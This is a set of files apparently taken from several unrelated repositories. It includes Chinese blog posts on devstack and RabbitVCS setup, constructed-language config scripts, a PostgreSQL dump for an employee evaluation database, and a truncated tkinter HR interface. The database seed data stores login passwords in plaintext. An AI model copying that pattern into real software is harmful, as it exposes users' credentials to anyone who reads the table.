devstack是一套openstack的部署脚本,对openstack初学者而言,是最好不过的openstack部署脚本了。
devstack的官方网站为`devstack.org`。官方网站上已经对devstack的用途有介绍,这里介绍一下我在测试中使用到的一些注意问题。
devstack整套脚本放在github中,使用下面的命令clone到本地:
git clone https://github.com/openstack-dev/devstack.git
下载完成后,需要进行一个简单的配置的,在官网中给出了一个最小的配置[devstack-mini-config]。
然后,进入到目录中,以**普通用户**的权限执行stack.sh,进行openstack的安装。
cd devstack && ./stack.sh
[devstack-mini-config]: http://devstack.org/configuration.html "Devstack minimal configuration"<file_sep>Title: About Me
Date: 2014-08-26 20:13
Category: blog
Tags: about
Slug: about
Author: <NAME>
Yep,我是一个码农。
一开始搭建这个博客只是为了好玩,试一试在 github 上搭建博客,随手记点东西什么的。后来,事情一多,就没有怎么管理了。
现在看了一下,还是觉得这里面挺好的,把一些重要的技术资料记录下来,顺便共享给大家。后面看看怎样优化一下整个界面,现在还是比较丑~~
忙成一个狗样。。。<file_sep>--find-links=http://pypi.douban.com
pelican
markdown
ghp-import
typogrify
feedgenerator
jinja2
pygments
MarkupSafe
python-dateutil
<file_sep>Title: 在Ubuntu中安装RabbitVCS
Date: 2014-09-18 15:56
Category: blog
Tags: tech, linux
Slug: install-rabbitvcs-in-ubuntu
Author: <NAME>
RabbitVCS是Linux下的图形化版本管理软件,支持SVN/GIT,官网是[rabbitvcs.org](http://www.rabbitvcs.org/),PPA网站是[rabbitvcs-ppa](https://launchpad.net/~rabbitvcs/+archive/ubuntu/ppa)。
RabbitVCS的操作很像Windows下的小乌龟:-),支持把操作集成到图形界面的右键菜单中,与TortoiseSVN是同样的,非常方便。
安装的方法在PPA站点上有介绍,根据自己的系统的版本,把源加入到系统中,在14.04中,示例为:
cat > /etc/apt/sources.list.d/rabbitvcs.list <<EOF
deb http://ppa.launchpad.net/rabbitvcs/ppa/ubuntu trusty main
EOF
| bbc19dd6e9b7c16cfd369c4f6a9e115e7c290b97 | [
"Markdown",
"Python",
"Text",
"Shell"
] | 23 | Markdown | fengyc/blog | 2dc79eec2ca7727f89e5553f17c08e82900f07a2 | fe7e909d46e71097b306db5eadd53cd5ae2db823 |
refs/heads/master | <repo_name>AlexanderDV-ru/EniLang<file_sep>/prop/words_adjective.js
wordsConfig+=`
koloro
+red+ -tr=red
+orang+ -tr=orange
+yellov+ -tr=yellow
+brovn+ -tr=brown
+green+ -tr=green
+blu+ -tr=blue
+vhit+ -tr=white
+blak+ -tr=black
+purpl+ -tr=purple
+pink+ -tr=pink
ad
koloro
+fast+ -tr=fast
+fun+ -tr=funny
+main+ -tr=main
+propaj+ -tr=sobstvennoe
+servis+ -tr=service
ad_non
verb_ad_non
nombro
+k+ -tr=this`
<file_sep>/README.md
# FromTextConfigWordListAssembler
Assemble list of words where full word is key and word description is value. From simple text config assemble words from roots by adding postfixes and prefixes.
# Why
I created this script because i plays with creating my own language in base of esperanto, latin, english and russian. I wanted simplify this process and i made this script to write simple config and in result got list of words with descriptions.
<file_sep>/prop/phonems.js
var fonemsFlags=`
мк мягкость
=мг мягкие
=тв твердые
гс гласность
=гл гласный
=сг согласный
сп0 способ0
=шм шумные
=сн сонанты
=щл щелкающие
сп1 способ1
=см смычной
=фр фрикативный
=дж дрожащие
=нс носовые
=ап аппроксиманты
сп2 способ2
=бк боковые
=ск скользящие
=му многоударные
=оу одноударные
гл глухость
=зв звонкие
=гх глухие
мс0 место0
=гб губные
=бк боковые
=пя переднеязычные
=ув увулярные
=лг ларингалы
=вл велярные
мс1 место1
=гб губные
=зб зубные
=ал альвеолярные
=па постальвеолярные
=пл палатальные
=ч чистые
=фг фарингальные
=гт глоттальные
мс2 место2
=ла палатоальвеолярные
=рф ретрофлексные
=ап альвеопалатальные
=эг эпиглоттальные
вс высота
=вх Верхние
=вн Верхние-Ненапряжённые
=вс Верхние-Средне
=ср Средние
=нс Нижние-Средне
=нн Нижние-Ненапряжённые
=нж Нижние
дл долгота
=пр Передние
=пн Передние-Ненапряжённые
=сд Средние
=зн Задние-Ненапряжённые
=зд Задние
ол огубленность
=нг неогубленные
=ог огубленные
тн тон
=вс высокий
=нз низкий
=вх восходящий
=нх нисходящий
=нв нисходяще-восходящий
=вн восходяще-нисходящий
ур ударение
=уд ударный
=нд неударный
дт длительность
=кр короткий
=ср средний
=дл длинный
`
var fonemsConfig=`
мягкие_глухие_шумные_смычные
+P+ -мс0=гб
otherscript
runy
П
+T+ -мс0=пя
otherscript
runy
Т
+K+ -мс0=вл -1
otherscript
runy
К
мягкие_звонкие_шумные_смычные
+B+ -мс0=гб
otherscript
runy
Б
+D+ -мс0=пя
otherscript
runy
Д
+G+ -мс0=вл -1
otherscript
runy
Г
мягкие_глухие_шумные_фрикативные
+F+ -мс0=гб -2
otherscript
runy
Ф
+S+ -мс0=пя -мс1=ал
otherscript
runy
С
+X+ -мс0=пя -мс1=па -мс2=па
otherscript
runy
Ш
+H+ -мс0=вл -1
otherscript
runy
Х
+"ENGLISH_H"+ -мс0=лг -мс1=гт
otherscript
runy
"АНГЛИЙСКАЯ_Х"
мягкие_звонкие_шумные_фрикативные
+V+ -мс0=гб -2
otherscript
runy
В
+Z+ -мс0=пя -мс1=ал
otherscript
runy
З
+J+ -мс0=пя -мс1=па -мс2=па
otherscript
runy
Ж
+Q+ -мс0=вл -1
otherscript
runy
Ъ
мягкие_скользящие
+Y+ -1
otherscript
runy
Й
+"ENGLISH_W"+ -2 -мс0=вл -мс1=гб
мягкие_сонанты
+M+ -сп1=нс -мс0=гб -мс1=гб
otherscript
runy
М
+N+ -сп1=нс -мс0=пя -мс1=ал
otherscript
runy
Н
+L+ -сп1=ап -сп2=бк -мс0=пя -мс1=ал
otherscript
runy
Л
+R+ -сп1=др -сп2=му -мс0=пя -мс1=ал
otherscript
runy
Р
мягкие_скользящие -сп1=ап -сп2=ск
мягкие_шумные_смычные
мягкие_глухие_шумные_смычные -гл=гх
мягкие_звонкие_шумные_смычные -гл=зв
мягкие_шумные_фрикативные
мягкие_глухие_шумные_фрикативные -гл=гх
мягкие_звонкие_шумные_фрикативные -гл=зв
мягкие_шумные
мягкие_шумные_смычные -сп1=см
мягкие_шумные_фрикативные -сп1=фр
мягкие_согласные
мягкие_шумные -сп0=шм
мягкие_сонанты -сп0=сн
мягкие_гласные
+A+
otherscript
runy
А
+O+
otherscript
runy
О
+E+
otherscript
runy
Э
+I+ -1
otherscript
runy
Ы
+U+ -2
otherscript
runy
У
мягкие_fonemos
мягкие_согласные -гс=сг
мягкие_гласные -гс=гл
твердые_глухие_шумные_смычные
+p+ -мс0=гб
otherscript
runy
п
+t+ -мс0=пя
otherscript
runy
т
+k+ -мс0=вл -1
otherscript
runy
к
твердые_звонкие_шумные_смычные
+b+ -мс0=гб
otherscript
runy
б
+d+ -мс0=пя
otherscript
runy
д
+g+ -мс0=вл -1
otherscript
runy
г
твердые_глухие_шумные_фрикативные
+f+ -мс0=гб -2
otherscript
runy
ф
+s+ -мс0=пя -мс1=ал
otherscript
runy
с
+x+ -мс0=пя -мс1=па -мс2=па
otherscript
runy
ш
+h+ -мс0=вл -1
otherscript
runy
х
+"english_h"+ -мс0=лг -мс1=гт
otherscript
runy
"английская_х"
твердые_звонкие_шумные_фрикативные
+v+ -мс0=гб -2
otherscript
runy
в
+z+ -мс0=пя -мс1=ал
otherscript
runy
з
+j+ -мс0=пя -мс1=па -мс2=па
otherscript
runy
ж
+q+ -мс0=вл -1
otherscript
runy
ъ
твердые_скользящие
+y+ -1
otherscript
runy
й
+"enlish_w"+ -2
твердые_сонанты
+m+ -сп1=нс -мс0=гб -мс1=гб
otherscript
runy
м
+n+ -сп1=нс -мс0=пя -мс1=ал
otherscript
runy
н
+l+ -сп1=ап -сп2=бк -мс0=пя -мс1=ал
otherscript
runy
л
+r+ -сп1=др -сп2=му -мс0=пя -мс1=ал
otherscript
runy
р
твердые_скользящие -сп1=ап -сп2=ск
твердые_шумные_смычные
твердые_глухие_шумные_смычные -гл=гх
твердые_звонкие_шумные_смычные -гл=зв
твердые_шумные_фрикативные
твердые_глухие_шумные_фрикативные -гл=гх
твердые_звонкие_шумные_фрикативные -гл=зв
твердые_шумные
твердые_шумные_смычные -сп1=см
твердые_шумные_фрикативные -сп1=фр
твердые_согласные
твердые_шумные -сп0=шм
твердые_сонанты -сп0=сн
твердые_гласные
+a+
otherscript
runy
а
+o+
otherscript
runy
о
+e+
otherscript
runy
э
+i+ -1
otherscript
runy
ы
+u+ -2
otherscript
runy
у
твердые_fonemos
твердые_согласные -гс=сг
твердые_гласные -гс=гл
unused
+w+
+c+
return
мягкие_fonemos -мк=мг
твердые_fonemos -мк=тв
`
<file_sep>/prop/props.js
var tabSym="\t"
var wordsConfig="",wordsFlags=""
<file_sep>/prop/hieroglifs.js
var hieroglifsConfig=`
number
"0"
+b+
"1"
+s+
"2"
+d+
"3"
+f+
"4"
+g+
"5"
+h+
"6"
+j+
"7"
+k+
"8"
+l+
"9"
+p+
"@"
+r+
"$"
+t+
mathsign
"="
+ekual+
"+"
+plus+
"-"
+minus+
"/"
+divid+
"*"
+multipl+
"^"
+pover+
"\\"
+root+
`
<file_sep>/prop/constructions.js
var constructionsConfig=`
adjo_of_nono
a[adjo] b[nono]
a[nono]-z b[nono]
a[nono] no b[nono]
b[nono] of a[nono]
#father's bag
#father(adjective) bag
#father no bag
#?
#?
#bag of father`
| e7567350300c7e9267f7df72f6eaad08302fbf8a | [
"JavaScript",
"Markdown"
] | 6 | JavaScript | AlexanderDV-ru/EniLang | ef54d8241750cfa018f4cce993ed10938b2b2b7a | f854eca2a3b53aa8c950a8e3412134042851c754 |
refs/heads/master | <repo_name>petergao1/EPES<file_sep>/EPESDB.sql
--
-- PostgreSQL database dump
--
-- Dumped from database version 9.5.12
-- Dumped by pg_dump version 9.5.12
-- Started on 2018-04-24 08:14:12 PDT
SET statement_timeout = 0;
SET lock_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SELECT pg_catalog.set_config('search_path', '', false);
SET check_function_bodies = false;
SET client_min_messages = warning;
SET row_security = off;
--
-- TOC entry 1 (class 3079 OID 12393)
-- Name: plpgsql; Type: EXTENSION; Schema: -; Owner:
--
CREATE EXTENSION IF NOT EXISTS plpgsql WITH SCHEMA pg_catalog;
--
-- TOC entry 2218 (class 0 OID 0)
-- Dependencies: 1
-- Name: EXTENSION plpgsql; Type: COMMENT; Schema: -; Owner:
--
COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';
SET default_tablespace = '';
SET default_with_oids = false;
--
-- TOC entry 190 (class 1259 OID 32768)
-- Name: decision; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.decision (
senior_manager character varying(16),
dept_manager character varying(16),
hr_staff character varying(16),
decision text,
decision_id character varying(16) NOT NULL
);
ALTER TABLE public.decision OWNER TO postgres;
--
-- TOC entry 181 (class 1259 OID 16394)
-- Name: department; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.department (
department_id character varying(16) NOT NULL,
name character varying(32) NOT NULL,
head character varying(16)
);
ALTER TABLE public.department OWNER TO postgres;
--
-- TOC entry 183 (class 1259 OID 16404)
-- Name: employee; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.employee (
employee_id character varying(16) NOT NULL,
name character varying(32) NOT NULL,
department character varying(16) NOT NULL,
role character varying(16) NOT NULL,
salary character varying(16)
);
ALTER TABLE public.employee OWNER TO postgres;
--
-- TOC entry 184 (class 1259 OID 16419)
-- Name: login_information; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.login_information (
username character varying(16) NOT NULL,
password character varying(16) NOT NULL,
employee_id character varying(16) NOT NULL
);
ALTER TABLE public.login_information OWNER TO postgres;
--
-- TOC entry 188 (class 1259 OID 16470)
-- Name: rating_comment; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.rating_comment (
rating_comment_id character varying(16) NOT NULL,
comment text,
rating_report_id character varying(16)
);
ALTER TABLE public.rating_comment OWNER TO postgres;
--
-- TOC entry 189 (class 1259 OID 16483)
-- Name: rating_reply; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.rating_reply (
rating_reply_id character varying(16) NOT NULL,
comment text,
rating_comment_id character varying(16)
);
ALTER TABLE public.rating_reply OWNER TO postgres;
--
-- TOC entry 187 (class 1259 OID 16444)
-- Name: rating_report; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.rating_report (
rating_report_id character varying(16) NOT NULL,
report text,
reportee character varying(16),
reporter character varying(16)
);
ALTER TABLE public.rating_report OWNER TO postgres;
--
-- TOC entry 182 (class 1259 OID 16399)
-- Name: role; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.role (
role_id character varying(16) NOT NULL,
title character varying(32) NOT NULL,
is_manager boolean NOT NULL
);
ALTER TABLE public.role OWNER TO postgres;
--
-- TOC entry 185 (class 1259 OID 16429)
-- Name: salary; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.salary (
salary_id character varying(16) NOT NULL,
wage double precision NOT NULL,
bonus double precision
);
ALTER TABLE public.salary OWNER TO postgres;
--
-- TOC entry 186 (class 1259 OID 16434)
-- Name: work_day; Type: TABLE; Schema: public; Owner: postgres
--
CREATE TABLE public.work_day (
day date NOT NULL,
employee_id character varying(16) NOT NULL,
hours double precision NOT NULL,
approved boolean
);
ALTER TABLE public.work_day OWNER TO postgres;
--
-- TOC entry 2209 (class 0 OID 32768)
-- Dependencies: 190
-- Data for Name: decision; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.decision (senior_manager, dept_manager, hr_staff, decision, decision_id) FROM stdin;
sen ed sf1 Promotion:cc:To be promoted 2018-05-01 Promotionpif
\.
--
-- TOC entry 2200 (class 0 OID 16394)
-- Dependencies: 181
-- Data for Name: department; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.department (department_id, name, head) FROM stdin;
BE1 Back End sf
FE1 Front End ed
HR1 Human Resource ysj
TEMPDEPT Temporary \N
SR1 Senior Department \N
\.
--
-- TOC entry 2202 (class 0 OID 16404)
-- Dependencies: 183
-- Data for Name: employee; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.employee (employee_id, name, department, role, salary) FROM stdin;
ed <NAME> FE1 FEM1 Manager1
pif <NAME> BE1 BES1 Staff1
sf <NAME> BE1 BEM1 Manager1
sf1 <NAME> HR1 HRS1 Staff1
ysj <NAME> HR1 HRM1 Manager1
stx <NAME> TEMPDEPT TEMPROLE TEMPSALARY
sen Senior Banderas SR1 SRM1 Manager1
cc <NAME> FE1 DES1 Staff1
\.
--
-- TOC entry 2203 (class 0 OID 16419)
-- Dependencies: 184
-- Data for Name: login_information; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.login_information (username, password, employee_id) FROM stdin;
yishijie world123 ysj
dazhu julienne1 ed
sanfran sisco sf
sf1 password sf1
charleston southcarolina cc
magicdragon bythesea pif
stan ley stx
senior banderas sen
\.
--
-- TOC entry 2207 (class 0 OID 16470)
-- Dependencies: 188
-- Data for Name: rating_comment; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.rating_comment (rating_comment_id, comment, rating_report_id) FROM stdin;
18ysj0423sf1 Thanks Yi 2018-4-23sf1
\.
--
-- TOC entry 2208 (class 0 OID 16483)
-- Dependencies: 189
-- Data for Name: rating_reply; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.rating_reply (rating_reply_id, comment, rating_comment_id) FROM stdin;
\.
--
-- TOC entry 2206 (class 0 OID 16444)
-- Dependencies: 187
-- Data for Name: rating_report; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.rating_report (rating_report_id, report, reportee, reporter) FROM stdin;
2018-4-23sf1 Sam is good guy 5/5 sf1 ysj
18sf10423ed Sam is decent guy 4/5 sf1 ed
\.
--
-- TOC entry 2201 (class 0 OID 16399)
-- Dependencies: 182
-- Data for Name: role; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.role (role_id, title, is_manager) FROM stdin;
HRS1 Human Resources Staff f
HRM1 Human Resources Manager t
FES1 Front End Staff f
FEM1 Front End Manager t
BES1 Back End Staff f
BEM1 Back End Manager t
SRM1 Senior Manager t
TEMPROLE Temporary Role f
DEM1 Department Manager t
DES1 Staff f
\.
--
-- TOC entry 2204 (class 0 OID 16429)
-- Dependencies: 185
-- Data for Name: salary; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.salary (salary_id, wage, bonus) FROM stdin;
TEMPSALARY 0 0
Staff1 20 1
Manager1 150 20
SrManager1 80 5
\.
--
-- TOC entry 2205 (class 0 OID 16434)
-- Dependencies: 186
-- Data for Name: work_day; Type: TABLE DATA; Schema: public; Owner: postgres
--
COPY public.work_day (day, employee_id, hours, approved) FROM stdin;
2018-01-01 cc 8 \N
2018-01-01 sf 8 \N
2018-01-01 sf1 8 \N
2018-01-01 ysj 8 \N
2018-04-23 sf1 9 \N
2018-01-02 pif 8 \N
2018-01-03 pif 8 \N
2018-01-04 pif 8 \N
2018-01-05 pif 8 \N
2018-01-01 ed 6 t
\.
--
-- TOC entry 2074 (class 2606 OID 32775)
-- Name: decision_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.decision
ADD CONSTRAINT decision_pkey PRIMARY KEY (decision_id);
--
-- TOC entry 2056 (class 2606 OID 16398)
-- Name: department_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.department
ADD CONSTRAINT department_pkey PRIMARY KEY (department_id);
--
-- TOC entry 2060 (class 2606 OID 16408)
-- Name: employee_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.employee
ADD CONSTRAINT employee_pkey PRIMARY KEY (employee_id);
--
-- TOC entry 2062 (class 2606 OID 16423)
-- Name: login_information_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.login_information
ADD CONSTRAINT login_information_pkey PRIMARY KEY (username);
--
-- TOC entry 2070 (class 2606 OID 16477)
-- Name: rating_comment_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.rating_comment
ADD CONSTRAINT rating_comment_pkey PRIMARY KEY (rating_comment_id);
--
-- TOC entry 2072 (class 2606 OID 16490)
-- Name: rating_reply_id; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.rating_reply
ADD CONSTRAINT rating_reply_id PRIMARY KEY (rating_reply_id);
--
-- TOC entry 2068 (class 2606 OID 16451)
-- Name: rating_report_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.rating_report
ADD CONSTRAINT rating_report_pkey PRIMARY KEY (rating_report_id);
--
-- TOC entry 2058 (class 2606 OID 16403)
-- Name: role_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.role
ADD CONSTRAINT role_pkey PRIMARY KEY (role_id);
--
-- TOC entry 2064 (class 2606 OID 16433)
-- Name: salary_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.salary
ADD CONSTRAINT salary_pkey PRIMARY KEY (salary_id);
--
-- TOC entry 2066 (class 2606 OID 16438)
-- Name: work_day_pkey; Type: CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.work_day
ADD CONSTRAINT work_day_pkey PRIMARY KEY (day, employee_id);
--
-- TOC entry 2084 (class 2606 OID 32781)
-- Name: decision_dept_manager; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.decision
ADD CONSTRAINT decision_dept_manager FOREIGN KEY (dept_manager) REFERENCES public.employee(employee_id);
--
-- TOC entry 2085 (class 2606 OID 32786)
-- Name: decision_hr_staff; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.decision
ADD CONSTRAINT decision_hr_staff FOREIGN KEY (hr_staff) REFERENCES public.employee(employee_id);
--
-- TOC entry 2083 (class 2606 OID 32776)
-- Name: decision_senior_manager; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.decision
ADD CONSTRAINT decision_senior_manager FOREIGN KEY (senior_manager) REFERENCES public.employee(employee_id);
--
-- TOC entry 2078 (class 2606 OID 16424)
-- Name: employee; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.login_information
ADD CONSTRAINT employee FOREIGN KEY (employee_id) REFERENCES public.employee(employee_id);
--
-- TOC entry 2075 (class 2606 OID 16409)
-- Name: employee_department; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.employee
ADD CONSTRAINT employee_department FOREIGN KEY (department) REFERENCES public.department(department_id);
--
-- TOC entry 2076 (class 2606 OID 16414)
-- Name: employee_role; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.employee
ADD CONSTRAINT employee_role FOREIGN KEY (role) REFERENCES public.role(role_id);
--
-- TOC entry 2077 (class 2606 OID 24576)
-- Name: employee_salary; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.employee
ADD CONSTRAINT employee_salary FOREIGN KEY (salary) REFERENCES public.salary(salary_id);
--
-- TOC entry 2082 (class 2606 OID 16491)
-- Name: rating_comment_id; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.rating_reply
ADD CONSTRAINT rating_comment_id FOREIGN KEY (rating_comment_id) REFERENCES public.rating_comment(rating_comment_id);
--
-- TOC entry 2081 (class 2606 OID 16478)
-- Name: rating_comment_report; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.rating_comment
ADD CONSTRAINT rating_comment_report FOREIGN KEY (rating_report_id) REFERENCES public.rating_report(rating_report_id);
--
-- TOC entry 2079 (class 2606 OID 16452)
-- Name: rating_report_reportee; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.rating_report
ADD CONSTRAINT rating_report_reportee FOREIGN KEY (reportee) REFERENCES public.employee(employee_id);
--
-- TOC entry 2080 (class 2606 OID 16457)
-- Name: rating_report_reporter; Type: FK CONSTRAINT; Schema: public; Owner: postgres
--
ALTER TABLE ONLY public.rating_report
ADD CONSTRAINT rating_report_reporter FOREIGN KEY (reporter) REFERENCES public.employee(employee_id);
--
-- TOC entry 2217 (class 0 OID 0)
-- Dependencies: 6
-- Name: SCHEMA public; Type: ACL; Schema: -; Owner: postgres
--
REVOKE ALL ON SCHEMA public FROM PUBLIC;
REVOKE ALL ON SCHEMA public FROM postgres;
GRANT ALL ON SCHEMA public TO postgres;
GRANT ALL ON SCHEMA public TO PUBLIC;
-- Completed on 2018-04-24 08:14:13 PDT
--
-- PostgreSQL database dump complete
--
<file_sep>/UI/HRDepartmentUI.py
from tkinter import *
from tkinter.ttk import *
import tkinter as tk
import hrSystem
import hrSystemUI
payroll = 0;
ratings = "YOU SUCK"
comment = ""
respond = ""
execution = "Employee xxx is fired"
workinghours = 0
import tkinter as tk
import hrSystem
from tkinter import ttk
import numpy as np
import pandas as pd
import csv
import os
class hrsystemui(tk.Frame):
def __init__(self, parent):
root.title("User record")
root.geometry("480x450")
tk.Frame.__init__(self, parent)
# create a prompt, an input box, an output label,
# and a button to do the computation
self.name = tk.Label(self, text="Enter a name:", anchor="w")
self.entryname = tk.Entry(self)
self.id = tk.Label(self, text="Enter a ID:", anchor="w")
self.entryid = tk.Entry(self)
self.department = tk.Label(self, text="Enter a department:", anchor="w")
self.entrydepartment = tk.Entry(self)
self.job = tk.Label(self, text="Select a job type:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self, textvariable=self.comvalue)
self.comboxlist["values"] = ("Staff", "Department Manager", "Senior Manager")
self.comboxlist.current(0)
self.title = tk.Label(self, text="Enter a title:", anchor="w")
self.entrytitle = tk.Entry(self)
self.submit = tk.Button(self, text="submit", command = self.action)
self.show = tk.Button(self, text="show the list", command = self.showList)
self.deleteUser = tk.Button(self, text="delete user", command = self.deletUser)
self.amend = tk.Button(self, text="promotion/demotion", command=self.amend)
self.output = tk.Label(self, text="")
self.flag = np.array("")
self.list = np.array("")
self.result = ""
self.win=""
self.deleteWin=""
self.deleteid=""
self.deleteWin=""
self.amendWin=""
self.namelist=tk.Label(self, text="")
self.header = ['name','ID','department','title','job']
# lay the widgets out on the screen.
self.name.pack(side="top", fill="x")
self.entryname.pack(side="top", fill="x", padx=20)
self.id.pack(side="top", fill="x")
self.entryid.pack(side="top", fill="x", padx=20)
self.department.pack(side="top", fill="x")
self.entrydepartment.pack(side="top", fill="x", padx=20)
self.job.pack(side="top", fill="x")
self.comboxlist.pack(side="top", fill="x", padx=20)
self.title.pack(side="top", fill="x")
self.entrytitle.pack(side="top", fill="x", padx=20)
self.output.pack(side="top", fill="x", expand=True)
self.submit.pack(side="right")
self.deleteUser.pack(side="right")
self.amend.pack(side="right")
self.show.pack(side="left")
def action(self):
# get the value from the input widget, convert
# it to an int, and do a calculation
if self.comboxlist.get()=="Staff":
self.flag=np.append(self.flag, [hrSystem.Staff(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(), self.entrytitle.get())])
if self.comboxlist.get()=="Department Manager":
self.flag=np.append(self.flag, [hrSystem.DepartmentManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(), self.entrytitle.get())])
if self.comboxlist.get()=="Senior Manager":
self.flag=np.append(self.flag, [hrSystem.SeniorManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(), self.entrytitle.get())])
self.result = self.result+"\n"+"\n"+self.flag[1].__str__()
self.list = np.append(self.list,self.flag[1])
self.output.configure(text=self.flag[1].__str__()+"\n has been saved")
data = np.array([self.flag[1].get_name(),self.flag[1].get_number(),self.flag[1].get_department(),self.flag[1].get_title(),self.flag[1].get_job()])
df = pd.DataFrame([data])
if not os.path.isfile('namelist.csv'):
df.to_csv('namelist.csv', header=self.header,index=False)
else:
df.to_csv('namelist.csv', mode='a',header=False,index=False)
self.flag = np.delete(self.flag,1)
def showList(self):
self.result = ""
for i in range(self.list.size):
self.result = self.result + "\n"+"\n"+self.list[i].__str__()
from tkinter import scrolledtext
win = tk.Toplevel()
txt = scrolledtext.ScrolledText(win)
win.title("Name List")
win.geometry("240x225")
txt.insert(tk.INSERT,self.result)
txt.pack()
win.mainloop()
def deletUser(self):
self.deleteWin = tk.Toplevel()
self.deleteWin.title("Delete User")
id = tk.Label(self.deleteWin, text="Enter an ID:", anchor="w")
idEntry = tk.Entry(self.deleteWin)
deletebutton = tk.Button(self.deleteWin, text="delete user", command = self.deletUserExecution)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
deletebutton.pack(side="bottom")
self.deleteid = idEntry
self.deleteWin.mainloop()
def amend(self):
self.amendWin = tk.Toplevel()
self.amendWin.title("Promotion/Demotion")
name = tk.Label(self.amendWin, text="Enter the name:", anchor="w")
nameEntry = tk.Entry(self.amendWin)
department = tk.Label(self.amendWin, text="Enter the department (enter the new one if changed):", anchor="w")
departmentEntry = tk.Entry(self.amendWin)
id = tk.Label(self.amendWin, text="Enter the ID:", anchor="w")
idEntry = tk.Entry(self.amendWin)
title = tk.Label(self.amendWin, text="Enter the new title:", anchor="w")
titleEntry = tk.Entry(self.amendWin)
newJob = tk.Label(self.amendWin, text="Enter the new job:", anchor="w")
jobvalue = tk.StringVar()
job = ttk.Combobox(self.amendWin, textvariable=jobvalue)
job["values"] = ("Staff", "Department Manager", "Senior Manager")
executebutton = tk.Button(self.amendWin, text="Execution", command = self.amendation)
name.pack(side="top", fill="x")
nameEntry.pack(side="top", fill="x", padx=20)
department.pack(side="top", fill="x")
departmentEntry.pack(side="top", fill="x", padx=20)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
title.pack(side="top", fill="x")
titleEntry.pack(side="top", fill="x", padx=20)
newJob.pack(side="top", fill="x")
job.pack(side="top", fill="x", padx=20)
executebutton.pack(side="bottom")
self.entryname = nameEntry
self.entryid = idEntry
self.deleteid = idEntry
self.entrydepartment = departmentEntry
self.entrytitle = titleEntry
self.comboxlist = job
self.amendWin.mainloop()
def deletUserExecution(self):
flag = ""
for i in range(1, self.list.size):
if self.list[i].get_number() == self.deleteid.get():
if self.deleteWin != "":
self.deleteWin.destroy()
flag = i
if flag != "":
df = pd.read_csv('namelist.csv',header=None)
df = df.drop(index=flag)
df.to_csv('namelist.csv',index=False,header=None)
self.list=np.delete(self.list,flag,axis=0)
def amendation(self):
self.deletUserExecution()
self.action()
self.amendWin.destroy()
# set the output widget to have our result
# if this is run as a program (versus being imported),
# create a root window and an instance of our example,
# then start the event loop
def writecomment():
tmpcomment = txt1.get("1.0", "end-1c")
targetemployee = combo1.get()
if tmpcomment != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingComment(tmpcomment, targetemployee)
def writerespond():
tmprespond = txt2.get("1.0", "end-1c")
targetemployee = combo2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your respond to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your respond is: " + tmprespond)
